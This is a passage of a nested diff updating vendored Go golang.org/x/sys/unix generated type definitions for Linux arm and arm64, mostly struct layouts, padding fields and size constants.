-+ Init [2]uint64
-+ Reserved [4]int8
-+ _ [4]byte
-+}
-+
-+type TIPCSubscr struct {
-+ Seq TIPCServiceRange
-+ Timeout uint32
-+ Filter uint32
-+ Handle [8]int8
-+}
-+
-+type TIPCSIOCLNReq struct {
-+ Peer uint32
-+ Id uint32
-+ Linkname [68]int8
-+}
-+
-+type TIPCSIOCNodeIDReq struct {
-+ Peer uint32
-+ Id [16]int8
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_arm.go b/vendor/golang.org/x/sys/unix/ztypes_linux_arm.go
-index bff6ce25..8051b561 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_linux_arm.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_linux_arm.go
-@@ -6,19 +6,12 @@
- package unix
-
- const (
-- sizeofPtr = 0x4
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x4
-- sizeofLongLong = 0x8
-- PathMax = 0x1000
-+ SizeofPtr = 0x4
-+ SizeofLong = 0x4
- )
-
- type (
-- _C_short int16
-- _C_int int32
-- _C_long int32
-- _C_long_long int64
-+ _C_long int32
- )
-
- type Timespec struct {
-@@ -52,7 +45,7 @@ type Timex struct {
- Errcnt int32
- Stbcnt int32
- Tai int32
-- Pad_cgo_0 [44]byte
-+ _ [44]byte
- }
-
- type Time_t int32
-@@ -88,169 +81,51 @@ type Rusage struct {
- Nivcsw int32
- }
-
--type Rlimit struct {
-- Cur uint64
-- Max uint64
--}
--
--type _Gid_t uint32
--
- type Stat_t struct {
-- Dev uint64
-- X__pad1 uint16
-- Pad_cgo_0 [2]byte
-- X__st_ino uint32
-- Mode uint32
-- Nlink uint32
-- Uid uint32
-- Gid uint32
-- Rdev uint64
-- X__pad2 uint16
-- Pad_cgo_1 [6]byte
-- Size int64
-- Blksize int32
-- Pad_cgo_2 [4]byte
-- Blocks int64
-- Atim Timespec
-- Mtim Timespec
-- Ctim Timespec
-- Ino uint64
--}
--
--type Statfs_t struct {
-- Type int32
-- Bsize int32
-- Blocks uint64
-- Bfree uint64
-- Bavail uint64
-- Files uint64
-- Ffree uint64
-- Fsid Fsid
-- Namelen int32
-- Frsize int32
-- Flags int32
-- Spare [4]int32
-- Pad_cgo_0 [4]byte
-+ Dev uint64
-+ _ uint16
-+ _ uint32
-+ Mode uint32
-+ Nlink uint32
-+ Uid uint32
-+ Gid uint32
-+ Rdev uint64
-+ _ uint16
-+ _ [4]byte
-+ Size int64
-+ Blksize int32
-+ _ [4]byte
-+ Blocks int64
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Ino uint64
- }
-
- type Dirent struct {
-- Ino uint64
-- Off int64
-- Reclen uint16
-- Type uint8
-- Name [256]uint8
-- Pad_cgo_0 [5]byte
--}
--
--type Fsid struct {
-- X__val [2]int32
-+ Ino uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Name [256]uint8
-+ _ [5]byte
- }
-
- type Flock_t struct {
-- Type int16
-- Whence int16
-- Pad_cgo_0 [4]byte
-- Start int64
-- Len int64
-- Pid int32
-- Pad_cgo_1 [4]byte
--}
--
--type FscryptPolicy struct {
-- Version uint8
-- Contents_encryption_mode uint8
-- Filenames_encryption_mode uint8
-- Flags uint8
-- Master_key_descriptor [8]uint8
--}
--
--type FscryptKey struct {
-- Mode uint32
-- Raw [64]uint8
-- Size uint32
--}
--
--type KeyctlDHParams struct {
-- Private int32
-- Prime int32
-- Base int32
-+ Type int16
-+ Whence int16
-+ _ [4]byte
-+ Start int64
-+ Len int64
-+ Pid int32
-+ _ [4]byte
- }
-
- const (
-- FADV_NORMAL = 0x0
-- FADV_RANDOM = 0x1
-- FADV_SEQUENTIAL = 0x2
-- FADV_WILLNEED = 0x3
-- FADV_DONTNEED = 0x4
-- FADV_NOREUSE = 0x5
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
- )
-
--type RawSockaddrInet4 struct {
-- Family uint16
-- Port uint16
-- Addr [4]byte /* in_addr */
-- Zero [8]uint8
--}
--
--type RawSockaddrInet6 struct {
-- Family uint16
-- Port uint16
-- Flowinfo uint32
-- Addr [16]byte /* in6_addr */
-- Scope_id uint32
--}
--
--type RawSockaddrUnix struct {
-- Family uint16
-- Path [108]int8
--}
--
--type RawSockaddrLinklayer struct {
-- Family uint16
-- Protocol uint16
-- Ifindex int32
-- Hatype uint16
-- Pkttype uint8
-- Halen uint8
-- Addr [8]uint8
--}
--
--type RawSockaddrNetlink struct {
-- Family uint16
-- Pad uint16
-- Pid uint32
-- Groups uint32
--}
--
--type RawSockaddrHCI struct {
-- Family uint16
-- Dev uint16
-- Channel uint16
--}
--
--type RawSockaddrCAN struct {
-- Family uint16
-- Pad_cgo_0 [2]byte
-- Ifindex int32
-- Addr [8]byte
--}
--
--type RawSockaddrALG struct {
-- Family uint16
-- Type [14]uint8
-- Feat uint32
-- Mask uint32
-- Name [64]uint8
--}
--
--type RawSockaddrVM struct {
-- Family uint16
-- Reserved1 uint16
-- Port uint32
-- Cid uint32
-- Zero [4]uint8
--}
--
- type RawSockaddr struct {
- Family uint16
- Data [14]uint8
-@@ -261,41 +136,11 @@ type RawSockaddrAny struct {
- Pad [96]uint8
- }
-
--type _Socklen uint32
--
--type Linger struct {
-- Onoff int32
-- Linger int32
--}
--
- type Iovec struct {
- Base *byte
- Len uint32
- }
-
--type IPMreq struct {
-- Multiaddr [4]byte /* in_addr */
-- Interface [4]byte /* in_addr */
--}
--
--type IPMreqn struct {
-- Multiaddr [4]byte /* in_addr */
-- Address [4]byte /* in_addr */
-- Ifindex int32
--}
--
--type IPv6Mreq struct {
-- Multiaddr [16]byte /* in6_addr */
-- Interface uint32
--}
--
--type PacketMreq struct {
-- Ifindex int32
-- Type uint16
-- Alen uint16
-- Address [8]uint8
--}
--
- type Msghdr struct {
- Name *byte
- Namelen uint32
-@@ -312,277 +157,16 @@ type Cmsghdr struct {
- Type int32
- }
-
--type Inet4Pktinfo struct {
-- Ifindex int32
-- Spec_dst [4]byte /* in_addr */
-- Addr [4]byte /* in_addr */
--}
--
--type Inet6Pktinfo struct {
-- Addr [16]byte /* in6_addr */
-- Ifindex uint32
--}
--
--type IPv6MTUInfo struct {
-- Addr RawSockaddrInet6
-- Mtu uint32
--}
--
--type ICMPv6Filter struct {
-- Data [8]uint32
--}
--
--type Ucred struct {
-- Pid int32
-- Uid uint32
-- Gid uint32
--}
--
--type TCPInfo struct {
-- State uint8
-- Ca_state uint8
-- Retransmits uint8
-- Probes uint8
-- Backoff uint8
-- Options uint8
-- Pad_cgo_0 [2]byte
-- Rto uint32
-- Ato uint32
-- Snd_mss uint32
-- Rcv_mss uint32
-- Unacked uint32
-- Sacked uint32
-- Lost uint32
-- Retrans uint32
-- Fackets uint32
-- Last_data_sent uint32
-- Last_ack_sent uint32
-- Last_data_recv uint32
-- Last_ack_recv uint32
-- Pmtu uint32
-- Rcv_ssthresh uint32
-- Rtt uint32
-- Rttvar uint32
-- Snd_ssthresh uint32
-- Snd_cwnd uint32
-- Advmss uint32
-- Reordering uint32
-- Rcv_rtt uint32
-- Rcv_space uint32
-- Total_retrans uint32
--}
--
- const (
-- SizeofSockaddrInet4 = 0x10
-- SizeofSockaddrInet6 = 0x1c
-- SizeofSockaddrAny = 0x70
-- SizeofSockaddrUnix = 0x6e
-- SizeofSockaddrLinklayer = 0x14
-- SizeofSockaddrNetlink = 0xc
-- SizeofSockaddrHCI = 0x6
-- SizeofSockaddrCAN = 0x10
-- SizeofSockaddrALG = 0x58
-- SizeofSockaddrVM = 0x10
-- SizeofLinger = 0x8
-- SizeofIovec = 0x8
-- SizeofIPMreq = 0x8
-- SizeofIPMreqn = 0xc
-- SizeofIPv6Mreq = 0x14
-- SizeofPacketMreq = 0x10
-- SizeofMsghdr = 0x1c
-- SizeofCmsghdr = 0xc
-- SizeofInet4Pktinfo = 0xc
-- SizeofInet6Pktinfo = 0x14
-- SizeofIPv6MTUInfo = 0x20
-- SizeofICMPv6Filter = 0x20
-- SizeofUcred = 0xc
-- SizeofTCPInfo = 0x68
-+ SizeofIovec = 0x8
-+ SizeofMsghdr = 0x1c
-+ SizeofCmsghdr = 0xc
- )
-
- const (
-- IFA_UNSPEC = 0x0
-- IFA_ADDRESS = 0x1
-- IFA_LOCAL = 0x2
-- IFA_LABEL = 0x3
-- IFA_BROADCAST = 0x4
-- IFA_ANYCAST = 0x5
-- IFA_CACHEINFO = 0x6
-- IFA_MULTICAST = 0x7
-- IFLA_UNSPEC = 0x0
-- IFLA_ADDRESS = 0x1
-- IFLA_BROADCAST = 0x2
-- IFLA_IFNAME = 0x3
-- IFLA_MTU = 0x4
-- IFLA_LINK = 0x5
-- IFLA_QDISC = 0x6
-- IFLA_STATS = 0x7
-- IFLA_COST = 0x8
-- IFLA_PRIORITY = 0x9
-- IFLA_MASTER = 0xa
-- IFLA_WIRELESS = 0xb
-- IFLA_PROTINFO = 0xc
-- IFLA_TXQLEN = 0xd
-- IFLA_MAP = 0xe
-- IFLA_WEIGHT = 0xf
-- IFLA_OPERSTATE = 0x10
-- IFLA_LINKMODE = 0x11
-- IFLA_LINKINFO = 0x12
-- IFLA_NET_NS_PID = 0x13
-- IFLA_IFALIAS = 0x14
-- IFLA_MAX = 0x2b
-- RT_SCOPE_UNIVERSE = 0x0
-- RT_SCOPE_SITE = 0xc8
-- RT_SCOPE_LINK = 0xfd
-- RT_SCOPE_HOST = 0xfe
-- RT_SCOPE_NOWHERE = 0xff
-- RT_TABLE_UNSPEC = 0x0
-- RT_TABLE_COMPAT = 0xfc
-- RT_TABLE_DEFAULT = 0xfd
-- RT_TABLE_MAIN = 0xfe
-- RT_TABLE_LOCAL = 0xff
-- RT_TABLE_MAX = 0xffffffff
-- RTA_UNSPEC = 0x0
-- RTA_DST = 0x1
-- RTA_SRC = 0x2
-- RTA_IIF = 0x3
-- RTA_OIF = 0x4
-- RTA_GATEWAY = 0x5
-- RTA_PRIORITY = 0x6
-- RTA_PREFSRC = 0x7
-- RTA_METRICS = 0x8
-- RTA_MULTIPATH = 0x9
-- RTA_FLOW = 0xb
-- RTA_CACHEINFO = 0xc
-- RTA_TABLE = 0xf
-- RTN_UNSPEC = 0x0
-- RTN_UNICAST = 0x1
-- RTN_LOCAL = 0x2
-- RTN_BROADCAST = 0x3
-- RTN_ANYCAST = 0x4
-- RTN_MULTICAST = 0x5
-- RTN_BLACKHOLE = 0x6
-- RTN_UNREACHABLE = 0x7
-- RTN_PROHIBIT = 0x8
-- RTN_THROW = 0x9
-- RTN_NAT = 0xa
-- RTN_XRESOLVE = 0xb
-- RTNLGRP_NONE = 0x0
-- RTNLGRP_LINK = 0x1
-- RTNLGRP_NOTIFY = 0x2
-- RTNLGRP_NEIGH = 0x3
-- RTNLGRP_TC = 0x4
-- RTNLGRP_IPV4_IFADDR = 0x5
-- RTNLGRP_IPV4_MROUTE = 0x6
-- RTNLGRP_IPV4_ROUTE = 0x7
-- RTNLGRP_IPV4_RULE = 0x8
-- RTNLGRP_IPV6_IFADDR = 0x9
-- RTNLGRP_IPV6_MROUTE = 0xa
-- RTNLGRP_IPV6_ROUTE = 0xb
-- RTNLGRP_IPV6_IFINFO = 0xc
-- RTNLGRP_IPV6_PREFIX = 0x12
-- RTNLGRP_IPV6_RULE = 0x13
-- RTNLGRP_ND_USEROPT = 0x14
-- SizeofNlMsghdr = 0x10
-- SizeofNlMsgerr = 0x14
-- SizeofRtGenmsg = 0x1
-- SizeofNlAttr = 0x4
-- SizeofRtAttr = 0x4
-- SizeofIfInfomsg = 0x10
-- SizeofIfAddrmsg = 0x8
-- SizeofRtMsg = 0xc
-- SizeofRtNexthop = 0x8
-+ SizeofSockFprog = 0x8
- )
-
--type NlMsghdr struct {
-- Len uint32
-- Type uint16
-- Flags uint16
-- Seq uint32
-- Pid uint32
--}
--
--type NlMsgerr struct {
-- Error int32
-- Msg NlMsghdr
--}
--
--type RtGenmsg struct {
-- Family uint8
--}
--
--type NlAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type RtAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type IfInfomsg struct {
-- Family uint8
-- X__ifi_pad uint8
-- Type uint16
-- Index int32
-- Flags uint32
-- Change uint32
--}
--
--type IfAddrmsg struct {
-- Family uint8
-- Prefixlen uint8
-- Flags uint8
-- Scope uint8
-- Index uint32
--}
--
--type RtMsg struct {
-- Family uint8
-- Dst_len uint8
-- Src_len uint8
-- Tos uint8
-- Table uint8
-- Protocol uint8
-- Scope uint8
-- Type uint8
-- Flags uint32
--}
--
--type RtNexthop struct {
-- Len uint16
-- Flags uint8
-- Hops uint8
-- Ifindex int32
--}
--
--const (
-- SizeofSockFilter = 0x8
-- SizeofSockFprog = 0x8
--)
--
--type SockFilter struct {
-- Code uint16
-- Jt uint8
-- Jf uint8
-- K uint32
--}
--
--type SockFprog struct {
-- Len uint16
-- Pad_cgo_0 [2]byte
-- Filter *SockFilter
--}
--
--type InotifyEvent struct {
-- Wd int32
-- Mask uint32
-- Cookie uint32
-- Len uint32
--}
--
--const SizeofInotifyEvent = 0x10
--
- type PtraceRegs struct {
- Uregs [18]uint32
- }
-@@ -605,16 +189,7 @@ type Sysinfo_t struct {
- Totalhigh uint32
- Freehigh uint32
- Unit uint32
-- X_f [8]uint8
--}
--
--type Utsname struct {
-- Sysname [65]uint8
-- Nodename [65]uint8
-- Release [65]uint8
-- Version [65]uint8
-- Machine [65]uint8
-- Domainname [65]uint8
-+ _ [8]uint8
- }
-
- type Ustat_t struct {
-@@ -632,37 +207,14 @@ type EpollEvent struct {
- }
-
- const (
-- AT_FDCWD = -0x64
-- AT_REMOVEDIR = 0x200
-- AT_SYMLINK_FOLLOW = 0x400
-- AT_SYMLINK_NOFOLLOW = 0x100
--)
--
--type PollFd struct {
-- Fd int32
-- Events int16
-- Revents int16
--}
--
--const (
-- POLLIN = 0x1
-- POLLPRI = 0x2
-- POLLOUT = 0x4
- POLLRDHUP = 0x2000
-- POLLERR = 0x8
-- POLLHUP = 0x10
-- POLLNVAL = 0x20
- )
-
- type Sigset_t struct {
-- X__val [32]uint32
-+ Val [32]uint32
- }
-
--const RNDGETENTCNT = 0x80045200
--
--const PERF_IOC_FLAG_GROUP = 0x1
--
--const _SC_PAGESIZE = 0x1e
-+const _C__NSIG = 0x41
-
- type Termios struct {
- Iflag uint32
-@@ -675,20 +227,12 @@ type Termios struct {
- Ospeed uint32
- }
-
--type Winsize struct {
-- Row uint16
-- Col uint16
-- Xpixel uint16
-- Ypixel uint16
--}
--
- type Taskstats struct {
- Version uint16
-- Pad_cgo_0 [2]byte
- Ac_exitcode uint32
- Ac_flag uint8
- Ac_nice uint8
-- Pad_cgo_1 [6]byte
-+ _ [4]byte
- Cpu_count uint64
- Cpu_delay_total uint64
- Blkio_count uint64
-@@ -700,13 +244,13 @@ type Taskstats struct {
- Ac_comm [32]uint8
- Ac_sched uint8
- Ac_pad [3]uint8
-- Pad_cgo_2 [4]byte
-+ _ [4]byte
- Ac_uid uint32
- Ac_gid uint32
- Ac_pid uint32
- Ac_ppid uint32
- Ac_btime uint32
-- Pad_cgo_3 [4]byte
-+ _ [4]byte
- Ac_etime uint64
- Ac_utime uint64
- Ac_stime uint64
-@@ -730,55 +274,318 @@ type Taskstats struct {
- Cpu_scaled_run_real_total uint64
- Freepages_count uint64
- Freepages_delay_total uint64
-+ Thrashing_count uint64
-+ Thrashing_delay_total uint64
-+ Ac_btime64 uint64
- }
-
-+type cpuMask uint32
-+
-+const (
-+ _NCPUBITS = 0x20
-+)
-+
- const (
-- TASKSTATS_CMD_UNSPEC = 0x0
-- TASKSTATS_CMD_GET = 0x1
-- TASKSTATS_CMD_NEW = 0x2
-- TASKSTATS_TYPE_UNSPEC = 0x0
-- TASKSTATS_TYPE_PID = 0x1
-- TASKSTATS_TYPE_TGID = 0x2
-- TASKSTATS_TYPE_STATS = 0x3
-- TASKSTATS_TYPE_AGGR_PID = 0x4
-- TASKSTATS_TYPE_AGGR_TGID = 0x5
-- TASKSTATS_TYPE_NULL = 0x6
-- TASKSTATS_CMD_ATTR_UNSPEC = 0x0
-- TASKSTATS_CMD_ATTR_PID = 0x1
-- TASKSTATS_CMD_ATTR_TGID = 0x2
-- TASKSTATS_CMD_ATTR_REGISTER_CPUMASK = 0x3
-- TASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK = 0x4
-+ CBitFieldMaskBit0 = 0x1
-+ CBitFieldMaskBit1 = 0x2
-+ CBitFieldMaskBit2 = 0x4
-+ CBitFieldMaskBit3 = 0x8
-+ CBitFieldMaskBit4 = 0x10
-+ CBitFieldMaskBit5 = 0x20
-+ CBitFieldMaskBit6 = 0x40
-+ CBitFieldMaskBit7 = 0x80
-+ CBitFieldMaskBit8 = 0x100
-+ CBitFieldMaskBit9 = 0x200
-+ CBitFieldMaskBit10 = 0x400
-+ CBitFieldMaskBit11 = 0x800
-+ CBitFieldMaskBit12 = 0x1000
-+ CBitFieldMaskBit13 = 0x2000
-+ CBitFieldMaskBit14 = 0x4000
-+ CBitFieldMaskBit15 = 0x8000
-+ CBitFieldMaskBit16 = 0x10000
-+ CBitFieldMaskBit17 = 0x20000
-+ CBitFieldMaskBit18 = 0x40000
-+ CBitFieldMaskBit19 = 0x80000
-+ CBitFieldMaskBit20 = 0x100000
-+ CBitFieldMaskBit21 = 0x200000
-+ CBitFieldMaskBit22 = 0x400000
-+ CBitFieldMaskBit23 = 0x800000
-+ CBitFieldMaskBit24 = 0x1000000
-+ CBitFieldMaskBit25 = 0x2000000
-+ CBitFieldMaskBit26 = 0x4000000
-+ CBitFieldMaskBit27 = 0x8000000
-+ CBitFieldMaskBit28 = 0x10000000
-+ CBitFieldMaskBit29 = 0x20000000
-+ CBitFieldMaskBit30 = 0x40000000
-+ CBitFieldMaskBit31 = 0x80000000
-+ CBitFieldMaskBit32 = 0x100000000
-+ CBitFieldMaskBit33 = 0x200000000
-+ CBitFieldMaskBit34 = 0x400000000
-+ CBitFieldMaskBit35 = 0x800000000
-+ CBitFieldMaskBit36 = 0x1000000000
-+ CBitFieldMaskBit37 = 0x2000000000
-+ CBitFieldMaskBit38 = 0x4000000000
-+ CBitFieldMaskBit39 = 0x8000000000
-+ CBitFieldMaskBit40 = 0x10000000000
-+ CBitFieldMaskBit41 = 0x20000000000
-+ CBitFieldMaskBit42 = 0x40000000000
-+ CBitFieldMaskBit43 = 0x80000000000
-+ CBitFieldMaskBit44 = 0x100000000000
-+ CBitFieldMaskBit45 = 0x200000000000
-+ CBitFieldMaskBit46 = 0x400000000000
-+ CBitFieldMaskBit47 = 0x800000000000
-+ CBitFieldMaskBit48 = 0x1000000000000
-+ CBitFieldMaskBit49 = 0x2000000000000
-+ CBitFieldMaskBit50 = 0x4000000000000
-+ CBitFieldMaskBit51 = 0x8000000000000
-+ CBitFieldMaskBit52 = 0x10000000000000
-+ CBitFieldMaskBit53 = 0x20000000000000
-+ CBitFieldMaskBit54 = 0x40000000000000
-+ CBitFieldMaskBit55 = 0x80000000000000
-+ CBitFieldMaskBit56 = 0x100000000000000
-+ CBitFieldMaskBit57 = 0x200000000000000
-+ CBitFieldMaskBit58 = 0x400000000000000
-+ CBitFieldMaskBit59 = 0x800000000000000
-+ CBitFieldMaskBit60 = 0x1000000000000000
-+ CBitFieldMaskBit61 = 0x2000000000000000
-+ CBitFieldMaskBit62 = 0x4000000000000000
-+ CBitFieldMaskBit63 = 0x8000000000000000
- )
-
--type Genlmsghdr struct {
-- Cmd uint8
-- Version uint8
-- Reserved uint16
-+type SockaddrStorage struct {
-+ Family uint16
-+ _ [122]uint8
-+ _ uint32
-+}
-+
-+type HDGeometry struct {
-+ Heads uint8
-+ Sectors uint8
-+ Cylinders uint16
-+ Start uint32
-+}
-+
-+type Statfs_t struct {
-+ Type int32
-+ Bsize int32
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail uint64
-+ Files uint64
-+ Ffree uint64
-+ Fsid Fsid
-+ Namelen int32
-+ Frsize int32
-+ Flags int32
-+ Spare [4]int32
-+ _ [4]byte
-+}
-+
-+type TpacketHdr struct {
-+ Status uint32
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Sec uint32
-+ Usec uint32
-+}
-+
-+const (
-+ SizeofTpacketHdr = 0x18
-+)
-+
-+type RTCPLLInfo struct {
-+ Ctrl int32
-+ Value int32
-+ Max int32
-+ Min int32
-+ Posmult int32
-+ Negmult int32
-+ Clock int32
-+}
-+
-+type BlkpgPartition struct {
-+ Start int64
-+ Length int64
-+ Pno int32
-+ Devname [64]uint8
-+ Volname [64]uint8
-+ _ [4]byte
- }
-
- const (
-- CTRL_CMD_UNSPEC = 0x0
-- CTRL_CMD_NEWFAMILY = 0x1
-- CTRL_CMD_DELFAMILY = 0x2
-- CTRL_CMD_GETFAMILY = 0x3
-- CTRL_CMD_NEWOPS = 0x4
-- CTRL_CMD_DELOPS = 0x5
-- CTRL_CMD_GETOPS = 0x6
-- CTRL_CMD_NEWMCAST_GRP = 0x7
-- CTRL_CMD_DELMCAST_GRP = 0x8
-- CTRL_CMD_GETMCAST_GRP = 0x9
-- CTRL_ATTR_UNSPEC = 0x0
-- CTRL_ATTR_FAMILY_ID = 0x1
-- CTRL_ATTR_FAMILY_NAME = 0x2
-- CTRL_ATTR_VERSION = 0x3
-- CTRL_ATTR_HDRSIZE = 0x4
-- CTRL_ATTR_MAXATTR = 0x5
-- CTRL_ATTR_OPS = 0x6
-- CTRL_ATTR_MCAST_GROUPS = 0x7
-- CTRL_ATTR_OP_UNSPEC = 0x0
-- CTRL_ATTR_OP_ID = 0x1
-- CTRL_ATTR_OP_FLAGS = 0x2
-- CTRL_ATTR_MCAST_GRP_UNSPEC = 0x0
-- CTRL_ATTR_MCAST_GRP_NAME = 0x1
-- CTRL_ATTR_MCAST_GRP_ID = 0x2
-+ BLKPG = 0x1269
- )
-+
-+type XDPUmemReg struct {
-+ Addr uint64
-+ Len uint64
-+ Size uint32
-+ Headroom uint32
-+ Flags uint32
-+ _ [4]byte
-+}
-+
-+type CryptoUserAlg struct {
-+ Name [64]uint8
-+ Driver_name [64]uint8
-+ Module_name [64]uint8
-+ Type uint32
-+ Mask uint32
-+ Refcnt uint32
-+ Flags uint32
-+}
-+
-+type CryptoStatAEAD struct {
-+ Type [64]uint8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatAKCipher struct {
-+ Type [64]uint8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Verify_cnt uint64
-+ Sign_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCipher struct {
-+ Type [64]uint8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCompress struct {
-+ Type [64]uint8
-+ Compress_cnt uint64
-+ Compress_tlen uint64
-+ Decompress_cnt uint64
-+ Decompress_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatHash struct {
-+ Type [64]uint8
-+ Hash_cnt uint64
-+ Hash_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatKPP struct {
-+ Type [64]uint8
-+ Setsecret_cnt uint64
-+ Generate_public_key_cnt uint64
-+ Compute_shared_secret_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatRNG struct {
-+ Type [64]uint8
-+ Generate_cnt uint64
-+ Generate_tlen uint64
-+ Seed_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatLarval struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportLarval struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportHash struct {
-+ Type [64]uint8
-+ Blocksize uint32
-+ Digestsize uint32
-+}
-+
-+type CryptoReportCipher struct {
-+ Type [64]uint8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+}
-+
-+type CryptoReportBlkCipher struct {
-+ Type [64]uint8
-+ Geniv [64]uint8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportAEAD struct {
-+ Type [64]uint8
-+ Geniv [64]uint8
-+ Blocksize uint32
-+ Maxauthsize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportComp struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportRNG struct {
-+ Type [64]uint8
-+ Seedsize uint32
-+}
-+
-+type CryptoReportAKCipher struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportKPP struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportAcomp struct {
-+ Type [64]uint8
-+}
-+
-+type LoopInfo struct {
-+ Number int32
-+ Device uint16
-+ Inode uint32
-+ Rdevice uint16
-+ Offset int32
-+ Encrypt_type int32
-+ Encrypt_key_size int32
-+ Flags int32
-+ Name [64]uint8
-+ Encrypt_key [32]uint8
-+ Init [2]uint32
-+ Reserved [4]uint8
-+}
-+
-+type TIPCSubscr struct {
-+ Seq TIPCServiceRange
-+ Timeout uint32
-+ Filter uint32
-+ Handle [8]uint8
-+}
-+
-+type TIPCSIOCLNReq struct {
-+ Peer uint32
-+ Id uint32
-+ Linkname [68]uint8
-+}
-+
-+type TIPCSIOCNodeIDReq struct {
-+ Peer uint32
-+ Id [16]uint8
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_arm64.go b/vendor/golang.org/x/sys/unix/ztypes_linux_arm64.go
-index a3d0cc4a..a936f216 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_linux_arm64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_linux_arm64.go
-@@ -6,19 +6,12 @@
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-- PathMax = 0x1000
-+ SizeofPtr = 0x8
-+ SizeofLong = 0x8
- )
-
- type (
-- _C_short int16
-- _C_int int32
-- _C_long int64
-- _C_long_long int64
-+ _C_long int64
- )
-
- type Timespec struct {
-@@ -33,13 +26,11 @@ type Timeval struct {
-
- type Timex struct {
- Modes uint32
-- Pad_cgo_0 [4]byte
- Offset int64
- Freq int64
- Maxerror int64
- Esterror int64
- Status int32
-- Pad_cgo_1 [4]byte
- Constant int64
- Precision int64
- Tolerance int64
-@@ -48,14 +39,13 @@ type Timex struct {
- Ppsfreq int64
- Jitter int64
- Shift int32
-- Pad_cgo_2 [4]byte
- Stabil int64
- Jitcnt int64
- Calcnt int64
- Errcnt int64
- Stbcnt int64
- Tai int32
-- Pad_cgo_3 [44]byte
-+ _ [44]byte
- }
-
- type Time_t int64
-@@ -91,13 +81,6 @@ type Rusage struct {
- Nivcsw int64
- }
-
--type Rlimit struct {
-- Cur uint64
-- Max uint64
--}
--
--type _Gid_t uint32
--
- type Stat_t struct {
- Dev uint64
- Ino uint64
-@@ -106,10 +89,10 @@ type Stat_t struct {
- Uid uint32
- Gid uint32
- Rdev uint64
-- X__pad1 uint64
-+ _ uint64
- Size int64
- Blksize int32
-- X__pad2 int32
-+ _ int32
- Blocks int64
- Atim Timespec
- Mtim Timespec
-@@ -117,139 +100,29 @@ type Stat_t struct {
- _ [2]int32
- }
-
--type Statfs_t struct {
-- Type int64
-- Bsize int64
-- Blocks uint64
-- Bfree uint64
-- Bavail uint64
-- Files uint64
-- Ffree uint64
-- Fsid Fsid
-- Namelen int64
-- Frsize int64
-- Flags int64
-- Spare [4]int64
--}
--
- type Dirent struct {
-- Ino uint64
-- Off int64
-- Reclen uint16
-- Type uint8
-- Name [256]int8
-- Pad_cgo_0 [5]byte
--}
--
--type Fsid struct {
-- X__val [2]int32
-+ Ino uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Name [256]int8
-+ _ [5]byte
- }
-
- type Flock_t struct {
-- Type int16
-- Whence int16
-- Pad_cgo_0 [4]byte
-- Start int64
-- Len int64
-- Pid int32
-- Pad_cgo_1 [4]byte
--}
--
--type FscryptPolicy struct {
-- Version uint8
-- Contents_encryption_mode uint8
-- Filenames_encryption_mode uint8
-- Flags uint8
-- Master_key_descriptor [8]uint8
--}
--
--type FscryptKey struct {
-- Mode uint32
-- Raw [64]uint8
-- Size uint32
--}
--
--type KeyctlDHParams struct {
-- Private int32
-- Prime int32
-- Base int32
-+ Type int16
-+ Whence int16
-+ Start int64
-+ Len int64
-+ Pid int32
-+ _ [4]byte
- }
-
- const (
-- FADV_NORMAL = 0x0
-- FADV_RANDOM = 0x1
-- FADV_SEQUENTIAL = 0x2
-- FADV_WILLNEED = 0x3
-- FADV_DONTNEED = 0x4
-- FADV_NOREUSE = 0x5
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
- )
-
--type RawSockaddrInet4 struct {
-- Family uint16
-- Port uint16
-- Addr [4]byte /* in_addr */
-- Zero [8]uint8
--}
--
--type RawSockaddrInet6 struct {
-- Family uint16
-- Port uint16
-- Flowinfo uint32
-- Addr [16]byte /* in6_addr */
-- Scope_id uint32
--}
--
--type RawSockaddrUnix struct {
-- Family uint16
-- Path [108]int8
--}
--
--type RawSockaddrLinklayer struct {
-- Family uint16
-- Protocol uint16
-- Ifindex int32
-- Hatype uint16
-- Pkttype uint8
-- Halen uint8
-- Addr [8]uint8
--}
--
--type RawSockaddrNetlink struct {
-- Family uint16
-- Pad uint16
-- Pid uint32
-- Groups uint32
--}
--
